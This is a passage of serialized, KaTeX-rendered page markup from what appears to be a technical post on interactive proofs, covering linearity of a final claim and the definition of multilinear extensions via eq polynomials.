tag":315,"props":109994,"children":109996},{"className":109995},[20143],[109997],{"type":26,"value":1509},{"type":20,"tag":315,"props":109999,"children":110001},{"className":110000,"style":2484},[2483],[],{"type":20,"tag":315,"props":110003,"children":110005},{"className":110004},[2489],[110006],{"type":26,"value":817},{"type":20,"tag":315,"props":110008,"children":110010},{"className":110009,"style":2484},[2483],[],{"type":20,"tag":315,"props":110012,"children":110014},{"className":110013},[2392],[110015,110019,110090,110094,110099],{"type":20,"tag":315,"props":110016,"children":110018},{"className":110017,"style":108705},[2397],[],{"type":20,"tag":315,"props":110020,"children":110022},{"className":110021},[2403],[110023,110028],{"type":20,"tag":315,"props":110024,"children":110026},{"className":110025,"style":91539},[2403,19992],[110027],{"type":26,"value":91542},{"type":20,"tag":315,"props":110029,"children":110031},{"className":110030},[2419],[110032],{"type":20,"tag":315,"props":110033,"children":110035},{"className":110034},[2424,20046],[110036,110079],{"type":20,"tag":315,"props":110037,"children":110039},{"className":110038},[2429],[110040,110074],{"type":20,"tag":315,"props":110041,"children":110043},{"className":110042,"style":91834},[2434],[110044],{"type":20,"tag":315,"props":110045,"children":110046},{"style":108734},[110047,110051],{"type":20,"tag":315,"props":110048,"children":110050},{"className":110049,"style":2444},[2443],[],{"type":20,"tag":315,"props":110052,"children":110054},{"className":110053},[2449,2450,2451,2452],[110055],{"type":20,"tag":315,"props":110056,"children":110058},{"className":110057},[2403,2452],[110059,110064,110069],{"type":20,"tag":315,"props":110060,"children":110062},{"className":110061},[2403,19992,2452],[110063],{"type":26,"value":2122},{"type":20,"tag":315,"props":110065,"children":110067},{"className":110066},[2489,2452],[110068],{"type":26,"value":2463},{"type":20,"tag":315,"props":110070,"children":110072},{"className":110071},[2403,2452],[110073],{"type":26,"value":2406},{"type":20,"tag":315,"props":110075,"children":110077},{"className":110076},[20149],[110078],{"type":26,"value":20152},{"type":20,"tag":315,"props":110080,"children":110082},{"className":110081},[2429],[110083],{"type":20,"tag":315,"props":110084,"children":110086},{"className":110085,"style":108775},[2434],[110087],{"type":20,"tag":315,"props":110088,"children":110089},{},[],{"type":20,"tag":315,"props":110091,"children":110093},{"className":110092,"style":2484},[2483],[],{"type":20,"tag":315,"props":110095,"children":110097},{"className":110096},[2489],[110098],{"type":26,"value":109567},{"type":20,"tag":315,"props":110100,"children":110102},{"className":110101,"style":2484},[2483],[],{"type":20,"tag":315,"props":110104,"children":110106},{"className":110105},[2392],[110107,110111],{"type":20,"tag":315,"props":110108,"children":110110},{"className":110109,"style":108275},[2397],[],{"type":20,"tag":315,"props":110112,"children":110114},{"className":110113},[2403],[110115,110120],{"type":20,"tag":315,"props":110116,"children":110118},{"className":110117,"style":91305},[2403,19992],[110119],{"type":26,"value":92124},{"type":20,"tag":315,"props":110121,"children":110123},{"className":110122},[2419],[110124],{"type":20,"tag":315,"props":110125,"children":110127},{"className":110126},[2424,20046],[110128,110157],{"type":20,"tag":315,"props":110129,"children":110131},{"className":110130},[2429],[110132,110152],{"type":20,"tag":315,"props":110133,"children":110135},{"className":110134,"style":91834},[2434],[110136],{"type":20,"tag":315,"props":110137,"children":110138},{"style":108304},[110139,110143],{"type":20,"tag":315,"props":110140,"children":110142},{"className":110141,"style":2444},[2443],[],{"type":20,"tag":315,"props":110144,"children":110146},{"className":110145},[2449,2450,2451,2452],[110147],{"type":20,"tag":315,"props":110148,"children":110150},{"className":110149},[2403,19992,2452],[110151],{"type":26,"value":2122},{"type":20,"tag":315,"props":110153,"children":110155},{"className":110154},[20149],[110156],{"type":26,"value":20152},{"type":20,"tag":315,"props":110158,"children":110160},{"className":110159},[2429],[110161],{"type":20,"tag":315,"props":110162,"children":110164},{"className":110163,"style":91388},[2434],[110165],{"type":20,"tag":315,"props":110166,"children":110167},{},[],{"type":20,"tag":29,"props":110169,"children":110170},{},[110171,110172,110268,110270,110295,110297,110322],{"type":26,"value":286},{"type":20,"tag":3717,"props":110173,"children":110174},{},[110175,110177],{"type":26,"value":110176},"linear in ",{"type":20,"tag":119,"props":110178,"children":110180},{"className":110179},[2375,2376],[110181],{"type":20,"tag":315,"props":110182,"children":110184},{"className":110183},[2381],[110185],{"type":20,"tag":315,"props":110186,"children":110188},{"className":110187,"ariaHidden":2387},[2386],[110189],{"type":20,"tag":315,"props":110190,"children":110192},{"className":110191},[2392],[110193,110197],{"type":20,"tag":315,"props":110194,"children":110196},{"className":110195,"style":108705},[2397],[],{"type":20,"tag":315,"props":110198,"children":110200},{"className":110199},[2403],[110201,110206],{"type":20,"tag":315,"props":110202,"children":110204},{"className":110203,"style":91539},[2403,19992],[110205],{"type":26,"value":91542},{"type":20,"tag":315,"props":110207,"children":110209},{"className":110208},[2419],[110210],{"type":20,"tag":315,"props":110211,"children":110213},{"className":110212},[2424,20046],[110214,110257],{"type":20,"tag":315,"props":110215,"children":110217},{"className":110216},[2429],[110218,110252],{"type":20,"tag":315,"props":110219,"children":110221},{"className":110220,"style":91834},[2434],[110222],{"type":20,"tag":315,"props":110223,"children":110224},{"style":108734},[110225,110229],{"type":20,"tag":315,"props":110226,"children":110228},{"className":110227,"style":2444},[2443],[],{"type":20,"tag":315,"props":110230,"children":110232},{"className":110231},[2449,2450,2451,2452],[110233],{"type":20,"tag":315,"props":110234,"children":110236},{"className":110235},[2403,2452],[110237,110242,110247],{"type":20,"tag":315,"props":110238,"children":110240},{"className":110239},[2403,19992,2452],[110241],{"type":26,"value":2122},{"type":20,"tag":315,"props":110243,"children":110245},{"className":110244},[2489,2452],[110246],{"type":26,"value":2463},{"type":20,"tag":315,"props":110248,"children":110250},{"className":110249},[2403,2452],[110251],{"type":26,"value":2406},{"type":20,"tag":315,"props":110253,"children":110255},{"className":110254},[20149],[110256],{"type":26,"value":20152},{"type":20,"tag":315,"props":110258,"children":110260},{"className":110259},[2429],[110261],{"type":20,"tag":315,"props":110262,"children":110264},{"className":110263,"style":108775},[2434],[110265],{"type":20,"tag":315,"props":110266,"children":110267},{},[],{"type":26,"value":110269},"! By induction, the final claim is linear in the original ",{"type":20,"tag":119,"props":110271,"children":110273},{"className":110272},[2375,2376],[110274],{"type":20,"tag":315,"props":110275,"children":110277},{"className":110276},[2381],[110278],{"type":20,"tag":315,"props":110279,"children":110281},{"className":110280,"ariaHidden":2387},[2386],[110282],{"type":20,"tag":315,"props":110283,"children":110285},{"className":110284},[2392],[110286,110290],{"type":20,"tag":315,"props":110287,"children":110289},{"className":110288,"style":19987},[2397],[],{"type":20,"tag":315,"props":110291,"children":110293},{"className":110292,"style":91539},[2403,19992],[110294],{"type":26,"value":91542},{"type":26,"value":110296},". If ",{"type":20,"tag":119,"props":110298,"children":110300},{"className":110299},[2375,2376],[110301],{"type":20,"tag":315,"props":110302,"children":110304},{"className":110303},[2381],[110305],{"type":20,"tag":315,"props":110306,"children":110308},{"className":110307,"ariaHidden":2387},[2386],[110309],{"type":20,"tag":315,"props":110310,"children":110312},{"className":110311},[2392],[110313,110317],{"type":20,"tag":315,"props":110314,"children":110316},{"className":110315,"style":19987},[2397],[],{"type":20,"tag":315,"props":110318,"children":110320},{"className":110319,"style":91539},[2403,19992],[110321],{"type":26,"value":91542},{"type":26,"value":110323}," isn't in the transcript, we can solve for it.",{"type":20,"tag":219,"props":110325,"children":110327},{"id":110326},"multilinear-extensions-mles",[110328],{"type":26,"value":110329},"Multilinear Extensions (MLEs)",{"type":20,"tag":29,"props":110331,"children":110332},{},[110333,110335,110420],{"type":26,"value":110334},"An MLE is just the polynomial view of a table over ",{"type":20,"tag":119,"props":110336,"children":110338},{"className":110337},[2375,2376],[110339],{"type":20,"tag":315,"props":110340,"children":110342},{"className":110341},[2381],[110343],{"type":20,"tag":315,"props":110344,"children":110346},{"className":110345,"ariaHidden":2387},[2386],[110347],{"type":20,"tag":315,"props":110348,"children":110350},{"className":110349},[2392],[110351,110355,110360,110365,110370,110374,110379],{"type":20,"tag":315,"props":110352,"children":110354},{"className":110353,"style":2504},[2397],[],{"type":20,"tag":315,"props":110356,"children":110358},{"className":110357},[20121],[110359],{"type":26,"value":74876},{"type":20,"tag":315,"props":110361,"children":110363},{"className":110362},[2403],[110364],{"type":26,"value":1063},{"type":20,"tag":315,"props":110366,"children":110368},{"className":110367},[2515],[110369],{"type":26,"value":2518},{"type":20,"tag":315,"props":110371,"children":110373},{"className":110372,"style":2522},[2483],[],{"type":20,"tag":315,"props":110375,"children":110377},{"className":110376},[2403],[110378],{"type":26,"value":2406},{"type":20,"tag":315,"props":110380,"children":110382},{"className":110381},[20143],[110383,110388],{"type":20,"tag":315,"props":110384,"children":110386},{"className":110385},[20143],[110387],{"type":26,"value":32555},{"type":20,"tag":315,"props":110389,"children":110391},{"className":110390},[2419],[110392],{"type":20,"tag":315,"props":110393,"children":110395},{"className":110394},[2424],[110396],{"type":20,"tag":315,"props":110397,"children":110399},{"className":110398},[2429],[110400],{"type":20,"tag":315,"props":110401,"children":110403},{"className":110402,"style":107022},[2434],[110404],{"type":20,"tag":315,"props":110405,"children":110406},{"style":2438},[110407,110411],{"type":20,"tag":315,"props":110408,"children":110410},{"className":110409,"style":2444},[2443],[],{"type":20,"tag":315,"props":110412,"children":110414},{"className":110413},[2449,2450,2451,2452],[110415],{"type":20,"tag":315,"props":110416,"children":110418},{"className":110417},[2403,19992,2452],[110419],{"type":26,"value":54656},{"type":26,"value":110421},": it matches the table on Boolean points and extends it to field points.",{"type":20,"tag":29,"props":110423,"children":110424},{},[110425],{"type":26,"value":110426},"For this post, the only property you need is:",{"type":20,"tag":29,"props":110428,"children":110429},{},[110430],{"type":20,"tag":119,"props":110431,"children":110433},{"className":110432},[2375,2376],[110434],{"type":20,"tag":315,"props":110435,"children":110437},{"className":110436},[2381],[110438],{"type":20,"tag":315,"props":110439,"children":110441},{"className":110440,"ariaHidden":2387},[2386],[110442,110604,110876],{"type":20,"tag":315,"props":110443,"children":110445},{"className":110444},[2392],[110446,110451,110520,110525,110586,110591,110595,110600],{"type":20,"tag":315,"props":110447,"children":110450},{"className":110448,"style":110449},[2397],"height:1.1813em;vertical-align:-0.25em;",[],{"type":20,"tag":315,"props":110452,"children":110455},{"className":110453},[2403,110454],"accent",[110456],{"type":20,"tag":315,"props":110457,"children":110459},{"className":110458},[2424,20046],[110460,110508],{"type":20,"tag":315,"props":110461,"children":110463},{"className":110462},[2429],[110464,110503],{"type":20,"tag":315,"props":110465,"children":110468},{"className":110466,"style":110467},[2434],"height:0.9313em;",[110469,110483],{"type":20,"tag":315,"props":110470,"children":110472},{"style":110471},"top:-3em;",[110473,110478],{"type":20,"tag":315,"props":110474,"children":110477},{"className":110475,"style":110476},[2443],"height:3em;",[],{"type":20,"tag":315,"props":110479,"children":110481},{"className":110480,"style":93659},[2403,19992],[110482],{"type":26,"value":31499},{"type":20,"tag":315,"props":110484,"children":110486},{"style":110485},"top:-3.6134em;",[110487,110491],{"type":20,"tag":315,"props":110488,"children":110490},{"className":110489,"style":110476},[2443],[],{"type":20,"tag":315,"props":110492,"children":110496},{"className":110493,"style":110495},[110494],"accent-body","left:-0.0833em;",[110497],{"type":20,"tag":315,"props":110498,"children":110500},{"className":110499},[2403],[110501],{"type":26,"value":110502},"~",{"type":20,"tag":315,"props":110504,"children":110506},{"className":110505},[20149],[110507],{"type":26,"value":20152},{"type":20,"tag":315,"props":110509,"children":110511},{"className":110510},[2429],[110512],{"type":20,"tag":315,"props":110513,"children":110516},{"className":110514,"style":110515},[2434],"height:0.1944em;",[110517],{"type":20,"tag":315,"props":110518,"children":110519},{},[],{"type":20,"tag":315,"props":110521,"children":110523},{"className":110522},[20121],[110524],{"type":26,"value":1049},{"type":20,"tag":315,"props":110526,"children":110528},{"className":110527},[2403,110454],[110529],{"type":20,"tag":315,"props":110530,"children":110532},{"className":110531},[2424],[110533],{"type":20,"tag":315,"props":110534,"children":110536},{"className":110535},[2429],[110537],{"type":20,"tag":315,"props":110538,"children":110541},{"className":110539,"style":110540},[2434],"height:0.714em;",[110542,110554],{"type":20,"tag":315,"props":110543,"children":110544},{"style":110471},[110545,110549],{"type":20,"tag":315,"props":110546,"children":110548},{"className":110547,"style":110476},[2443],[],{"type":20,"tag":315,"props":110550,"children":110552},{"className":110551,"style":91305},[2403,19992],[110553],{"type":26,"value":92124},{"type":20,"tag":315,"props":110555,"children":110556},{"style":110471},[110557,110561],{"type":20,"tag":315,"props":110558,"children":110560},{"className":110559,"style":110476},[2443],[],{"type":20,"tag":315,"props":110562,"children":110565},{"className":110563,"style":110564},[110494],"left:-0.1799em;",[110566],{"type":20,"tag":315,"props":110567,"children":110571},{"className":110568,"style":110570},[110569],"overlay","height:0.714em;width:0.471em;",[110572],{"type":20,"tag":32688,"props":110573,"children":110580},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[110581],{"type":20,"tag":110582,"props":110583,"children":110585},"path",{"d":110584},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":20,"tag":315,"props":110587,"children":110589},{"className":110588},[20143],[110590],{"type":26,"value":1509},{"type":20,"tag":315,"props":110592,"children":110594},{"className":110593,"style":2581},[2483],[],{"type":20,"tag":315,"props":110596,"children":110598},{"className":110597},[2586],[110599],{"type":26,"value":337},{"type":20,"tag":315,"props":110601,"children":110603},{"className":110602,"style":2581},[2483],[],{"type":20,"tag":315,"props":110605,"children":110607},{"className":110606},[2392],[110608,110613,110794,110798,110803,110808,110858,110863,110867,110872],{"type":20,"tag":315,"props":110609,"children":110612},{"className":110610,"style":110611},[2397],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":20,"tag":315,"props":110614,"children":110616},{"className":110615},[20028],[110617,110622],{"type":20,"tag":315,"props":110618,"children":110620},{"className":110619,"style":20035},[20028,20033,20034],[110621],{"type":26,"value":107100},{"type":20,"tag":315,"props":110623,"children":110625},{"className":110624},[2419],[110626],{"type":20,"tag":315,"props":110627,"children":110629},{"className":110628},[2424,20046],[110630,110782],{"type":20,"tag":315,"props":110631,"children":110633},{"className":110632},[2429],[110634,110777],{"type":20,"tag":315,"props":110635,"children":110638},{"className":110636,"style":110637},[2434],"height:0.3448em;",[110639],{"type":20,"tag":315,"props":110640,"children":110642},{"style":110641},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[110643,110647],{"type":20,"tag":315,"props":110644,"children":110646},{"className":110645,"style":2444},[2443],[],{"type":20,"tag":315,"props":110648,"children":110650},{"className":110649},[2449,2450,2451,2452],[110651],{"type":20,"tag":315,"props":110652,"children":110654},{"className":110653},[2403,2452],[110655,110709,110714,110719,110724,110729,110734],{"type":20,"tag":315,"props":110656,"children":110658},{"className":110657},[2403,110454,2452],[110659],{"type":20,"tag":315,"props":110660,"children":110662},{"className":110661},[2424],[110663],{"type":20,"tag":315,"props":110664,"children":110666},{"className":110665},[2429],[110667],{"type":20,"tag":315,"props":110668,"children":110671},{"className":110669,"style":110670},[2434],"height:0.9774em;",[110672,110686],{"type":20,"tag":315,"props":110673,"children":110675},{"style":110674},"top:-2.714em;",[110676,110681],{"type":20,"tag":315,"props":110677,"children":110680},{"className":110678,"style":110679},[2443],"height:2.714em;",[],{"type":20,"tag":315,"props":110682,"children":110684},{"className":110683},[2403,19992,2452],[110685],{"type":26,"value":1604},{"type":20,"tag":315,"props":110687,"children":110689},{"style":110688},"top:-2.9774em;",[110690,110694],{"type":20,"tag":315,"props":110691,"children":110693},{"className":110692,"style":110679},[2443],[],{"type":20,"tag":315,"props":110695,"children":110698},{"className":110696,"style":110697},[110494],"left:-0.2355em;",[110699],{"type":20,"tag":315,"props":110700,"children":110702},{"className":110701,"style":110570},[110569,2452],[110703],{"type":20,"tag":32688,"props":110704,"children":110705},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[110706],{"type":20,"tag":110582,"props":110707,"children":110708},{"d":110584},[],{"type":20,"tag":315,"props":110710,"children":110712},{"className":110711},[2586,2452],[110713],{"type":26,"value":20099},{"type":20,"tag":315,"props":110715,"children":110717},{"className":110716},[20121,2452],[110718],{"type":26,"value":74876},{"type":20,"tag":315,"props":110720,"children":110722},{"className":110721},[2403,2452],[110723],{"type":26,"value":1063},{"type":20,"tag":315,"props":110725,"children":110727},{"className":110726},[2515,2452],[110728],{"type":26,"value":2518},{"type":20,"tag":315,"props":110730,"children":110732},{"className":110731},[2403,2452],[110733],{"type":26,"value":2406},{"type":20,"tag":315,"props":110735,"children":110737},{"className":110736},[20143,2452],[110738,110743],{"type":20,"tag":315,"props":110739,"children":110741},{"className":110740},[20143,2452],[110742],{"type":26,"value":32555},{"type":20,"tag":315,"props":110744,"children":110746},{"className":110745},[2419],[110747],{"type":20,"tag":315,"props":110748,"children":110750},{"className":110749},[2424],[110751],{"type":20,"tag":315,"props":110752,"children":110754},{"className":110753},[2429],[110755],{"type":20,"tag":315,"props":110756,"children":110759},{"className":110757,"style":110758},[2434],"height:0.5935em;",[110760],{"type":20,"tag":315,"props":110761,"children":110763},{"style":110762},"top:-2.786em;margin-right:0.0714em;",[110764,110768],{"type":20,"tag":315,"props":110765,"children":110767},{"className":110766,"style":107165},[2443],[],{"type":20,"tag":315,"props":110769,"children":110771},{"className":110770},[2449,107170,107171,2452],[110772],{"type":20,"tag":315,"props":110773,"children":110775},{"className":110774},[2403,19992,2452],[110776],{"type":26,"value":54656},{"type":20,"tag":315,"props":110778,"children":110780},{"className":110779},[20149],[110781],{"type":26,"value":20152},{"type":20,"tag":315,"props":110783,"children":110785},{"className":110784},[2429],[110786],{"type":20,"tag":315,"props":110787,"children":110790},{"className":110788,"style":110789},[2434],"height:0.5144em;",[110791],{"type":20,"tag":315,"props":110792,"children":110793},{},[],{"type":20,"tag":315,"props":110795,"children":110797},{"className":110796,"style":2522},[2483],[],{"type":20,"tag":315,"props":110799,"children":110801},{"className":110800,"style":93659},[2403,19992],[110802],{"type":26,"value":31499},{"type":20,"tag":315,"props":110804,"children":110806},{"className":110805},[20121],[110807],{"type":26,"value":1049},{"type":20,"tag":315,"props":110809,"children":110811},{"className":110810},[2403,110454],[110812],{"type":20,"tag":315,"props":110813,"children":110815},{"className":110814},[2424],[110816],{"type":20,"tag":315,"props":110817,"children":110819},{"className":110818},[2429],[110820],{"type":20,"tag":315,"props":110821,"children":110823},{"className":110822,"style":110670},[2434],[110824,110836],{"type":20,"tag":315,"props":110825,"children":110826},{"style":110471},[110827,110831],{"type":20,"tag":315,"props":110828,"children":110830},{"className":110829,"style":110476},[2443],[],{"type":20,"tag":315,"props":110832,"children":110834},{"className":110833},[2403,19992],[110835],{"type":26,"value":1604},{"type":20,"tag":315,"props":110837,"children":110839},{"style":110838},"top:-3.2634em;",[110840,110844],{"type":20,"tag":315,"props":110841,"children":110843},{"className":110842,"style":110476},[2443],[],{"type":20,"tag":315,"props":110845,"children":110847},{"className":110846,"style":110697},[110494],[110848],{"type":20,"tag":315,"props":110849,"children":110851},{"className":110850,"style":110570},[110569],[110852],{"type":20,"tag":32688,"props":110853,"children":110854},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[110855],{"type":20,"tag":110582,"props":110856,"children":110857},{"d":110584},[],{"type":20,"tag":315,"props":110859,"children":110861},{"className":110860},[20143],[110862],{"type":26,"value":1509},{"type":20,"tag":315,"props":110864,"children":110866},{"className":110865,"style":2484},[2483],[],{"type":20,"tag":315,"props":110868,"children":110870},{"className":110869},[2489],[110871],{"type":26,"value":109567},{"type":20,"tag":315,"props":110873,"children":110875},{"className":110874,"style":2484},[2483],[],{"type":20,"tag":315,"props":110877,"children":110879},{"className":110878},[2392],[110880,110885,110895,110900,110949,110954,110958,111007],{"type":20,"tag":315,"props":110881,"children":110884},{"className":110882,"style":110883},[2397],"height:1.2274em;vertical-align:-0.25em;",[],{"type":20,"tag":315,"props":110886,"children":110888},{"className":110887},[2403,26],[110889],{"type":20,"tag":315,"props":110890,"children":110892},{"className":110891},[2403],[110893],{"type":26,"value":110894},"eq",{"type":20,"tag":315,"props":110896,"children":110898},{"className":110897},[20121],[110899],{"type":26,"value":1049},{"type":20,"tag":315,"props":110901,"children":110903},{"className":110902},[2403,110454],[110904],{"type":20,"tag":315,"props":110905,"children":110907},{"className":110906},[2424],[110908],{"type":20,"tag":315,"props":110909,"children":110911},{"className":110910},[2429],[110912],{"type":20,"tag":315,"props":110913,"children":110915},{"className":110914,"style":110670},[2434],[110916,110928],{"type":20,"tag":315,"props":110917,"children":110918},{"style":110471},[110919,110923],{"type":20,"tag":315,"props":110920,"children":110922},{"className":110921,"style":110476},[2443],[],{"type":20,"tag":315,"props":110924,"children":110926},{"className":110925},[2403,19992],[110927],{"type":26,"value":1604},{"type":20,"tag":315,"props":110929,"children":110930},{"style":110838},[110931,110935],{"type":20,"tag":315,"props":110932,"children":110934},{"className":110933,"style":110476},[2443],[],{"type":20,"tag":315,"props":110936,"children":110938},{"className":110937,"style":110697},[110494],[110939],{"type":20,"tag":315,"props":110940,"children":110942},{"className":110941,"style":110570},[110569],[110943],{"type":20,"tag":32688,"props":110944,"children":110945},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[110946],{"type":20,"tag":110582,"props":110947,"children":110948},{"d":110584},[],{"type":20,"tag":315,"props":110950,"children":110952},{"className":110951},[2515],[110953],{"type":26,"value":2518},{"type":20,"tag":315,"props":110955,"children":110957},{"className":110956,"style":2522},[2483],[],{"type":20,"tag":315,"props":110959,"children":110961},{"className":110960},[2403,110454],[110962],{"type":20,"tag":315,"props":110963,"children":110965},{"className":110964},[2424],[110966],{"type":20,"tag":315,"props":110967,"children":110969},{"className":110968},[2429],[110970],{"type":20,"tag":315,"props":110971,"children":110973},{"className":110972,"style":110540},[2434],[110974,110986],{"type":20,"tag":315,"props":110975,"children":110976},{"style":110471},[110977,110981],{"type":20,"tag":315,"props":110978,"children":110980},{"className":110979,"style":110476},[2443],[],{"type":20,"tag":315,"props":110982,"children":110984},{"className":110983,"style":91305},[2403,19992],[110985],{"type":26,"value":92124},{"type":20,"tag":315,"props":110987,"children":110988},{"style":110471},[110989,110993],{"type":20,"tag":315,"props":110990,"children":110992},{"className":110991,"style":110476},[2443],[],{"type":20,"tag":315,"props":110994,"children":110996},{"className":110995,"style":110564},[110494],[110997],{"type":20,"tag":315,"props":110998,"children":111000},{"className":110999,"style":110570},[110569],[111001],{"type":20,"tag":32688,"props":111002,"children":111003},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111004],{"type":20,"tag":110582,"props":111005,"children":111006},{"d":110584},[],{"type":20,"tag":315,"props":111008,"children":111010},{"className":111009},[20143],[111011],{"type":26,"value":1509},{"type":20,"tag":29,"props":111013,"children":111014},{},[111015,111017,111086,111088,111234,111236,111375,111377,111461],{"type":26,"value":111016},"At a fixed challenge point ",{"type":20,"tag":119,"props":111018,"children":111020},{"className":111019},[2375,2376],[111021],{"type":20,"tag":315,"props":111022,"children":111024},{"className":111023},[2381],[111025],{"type":20,"tag":315,"props":111026,"children":111028},{"className":111027,"ariaHidden":2387},[2386],[111029],{"type":20,"tag":315,"props":111030,"children":111032},{"className":111031},[2392],[111033,111037],{"type":20,"tag":315,"props":111034,"children":111036},{"className":111035,"style":110540},[2397],[],{"type":20,"tag":315,"props":111038,"children":111040},{"className":111039},[2403,110454],[111041],{"type":20,"tag":315,"props":111042,"children":111044},{"className":111043},[2424],[111045],{"type":20,"tag":315,"props":111046,"children":111048},{"className":111047},[2429],[111049],{"type":20,"tag":315,"props":111050,"children":111052},{"className":111051,"style":110540},[2434],[111053,111065],{"type":20,"tag":315,"props":111054,"children":111055},{"style":110471},[111056,111060],{"type":20,"tag":315,"props":111057,"children":111059},{"className":111058,"style":110476},[2443],[],{"type":20,"tag":315,"props":111061,"children":111063},{"className":111062,"style":91305},[2403,19992],[111064],{"type":26,"value":92124},{"type":20,"tag":315,"props":111066,"children":111067},{"style":110471},[111068,111072],{"type":20,"tag":315,"props":111069,"children":111071},{"className":111070,"style":110476},[2443],[],{"type":20,"tag":315,"props":111073,"children":111075},{"className":111074,"style":110564},[110494],[111076],{"type":20,"tag":315,"props":111077,"children":111079},{"className":111078,"style":110570},[110569],[111080],{"type":20,"tag":32688,"props":111081,"children":111082},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111083],{"type":20,"tag":110582,"props":111084,"children":111085},{"d":110584},[],{"type":26,"value":111087},", the coefficients ",{"type":20,"tag":119,"props":111089,"children":111091},{"className":111090},[2375,2376],[111092],{"type":20,"tag":315,"props":111093,"children":111095},{"className":111094},[2381],[111096],{"type":20,"tag":315,"props":111097,"children":111099},{"className":111098,"ariaHidden":2387},[2386],[111100],{"type":20,"tag":315,"props":111101,"children":111103},{"className":111102},[2392],[111104,111108,111117,111122,111171,111176,111180,111229],{"type":20,"tag":315,"props":111105,"children":111107},{"className":111106,"style":110883},[2397],[],{"type":20,"tag":315,"props":111109,"children":111111},{"className":111110},[2403,26],[111112],{"type":20,"tag":315,"props":111113,"children":111115},{"className":111114},[2403],[111116],{"type":26,"value":110894},{"type":20,"tag":315,"props":111118,"children":111120},{"className":111119},[20121],[111121],{"type":26,"value":1049},{"type":20,"tag":315,"props":111123,"children":111125},{"className":111124},[2403,110454],[111126],{"type":20,"tag":315,"props":111127,"children":111129},{"className":111128},[2424],[111130],{"type":20,"tag":315,"props":111131,"children":111133},{"className":111132},[2429],[111134],{"type":20,"tag":315,"props":111135,"children":111137},{"className":111136,"style":110670},[2434],[111138,111150],{"type":20,"tag":315,"props":111139,"children":111140},{"style":110471},[111141,111145],{"type":20,"tag":315,"props":111142,"children":111144},{"className":111143,"style":110476},[2443],[],{"type":20,"tag":315,"props":111146,"children":111148},{"className":111147},[2403,19992],[111149],{"type":26,"value":1604},{"type":20,"tag":315,"props":111151,"children":111152},{"style":110838},[111153,111157],{"type":20,"tag":315,"props":111154,"children":111156},{"className":111155,"style":110476},[2443],[],{"type":20,"tag":315,"props":111158,"children":111160},{"className":111159,"style":110697},[110494],[111161],{"type":20,"tag":315,"props":111162,"children":111164},{"className":111163,"style":110570},[110569],[111165],{"type":20,"tag":32688,"props":111166,"children":111167},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111168],{"type":20,"tag":110582,"props":111169,"children":111170},{"d":110584},[],{"type":20,"tag":315,"props":111172,"children":111174},{"className":111173},[2515],[111175],{"type":26,"value":2518},{"type":20,"tag":315,"props":111177,"children":111179},{"className":111178,"style":2522},[2483],[],{"type":20,"tag":315,"props":111181,"children":111183},{"className":111182},[2403,110454],[111184],{"type":20,"tag":315,"props":111185,"children":111187},{"className":111186},[2424],[111188],{"type":20,"tag":315,"props":111189,"children":111191},{"className":111190},[2429],[111192],{"type":20,"tag":315,"props":111193,"children":111195},{"className":111194,"style":110540},[2434],[111196,111208],{"type":20,"tag":315,"props":111197,"children":111198},{"style":110471},[111199,111203],{"type":20,"tag":315,"props":111200,"children":111202},{"className":111201,"style":110476},[2443],[],{"type":20,"tag":315,"props":111204,"children":111206},{"className":111205,"style":91305},[2403,19992],[111207],{"type":26,"value":92124},{"type":20,"tag":315,"props":111209,"children":111210},{"style":110471},[111211,111215],{"type":20,"tag":315,"props":111212,"children":111214},{"className":111213,"style":110476},[2443],[],{"type":20,"tag":315,"props":111216,"children":111218},{"className":111217,"style":110564},[110494],[111219],{"type":20,"tag":315,"props":111220,"children":111222},{"className":111221,"style":110570},[110569],[111223],{"type":20,"tag":32688,"props":111224,"children":111225},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111226],{"type":20,"tag":110582,"props":111227,"children":111228},{"d":110584},[],{"type":20,"tag":315,"props":111230,"children":111232},{"className":111231},[20143],[111233],{"type":26,"value":1509},{"type":26,"value":111235}," are constants, so ",{"type":20,"tag":119,"props":111237,"children":111239},{"className":111238},[2375,2376],[111240],{"type":20,"tag":315,"props":111241,"children":111243},{"className":111242},[2381],[111244],{"type":20,"tag":315,"props":111245,"children":111247},{"className":111246,"ariaHidden":2387},[2386],[111248],{"type":20,"tag":315,"props":111249,"children":111251},{"className":111250},[2392],[111252,111256,111316,111321,111370],{"type":20,"tag":315,"props":111253,"children":111255},{"className":111254,"style":110449},[2397],[],{"type":20,"tag":315,"props":111257,"children":111259},{"className":111258},[2403,110454],[111260],{"type":20,"tag":315,"props":111261,"children":111263},{"className":111262},[2424,20046],[111264,111305],{"type":20,"tag":315,"props":111265,"children":111267},{"className":111266},[2429],[111268,111300],{"type":20,"tag":315,"props":111269,"children":111271},{"className":111270,"style":110467},[2434],[111272,111284],{"type":20,"tag":315,"props":111273,"children":111274},{"style":110471},[111275,111279],{"type":20,"tag":315,"props":111276,"children":111278},{"className":111277,"style":110476},[2443],[],{"type":20,"tag":315,"props":111280,"children":111282},{"className":111281,"style":93659},[2403,19992],[111283],{"type":26,"value":31499},{"type":20,"tag":315,"props":111285,"children":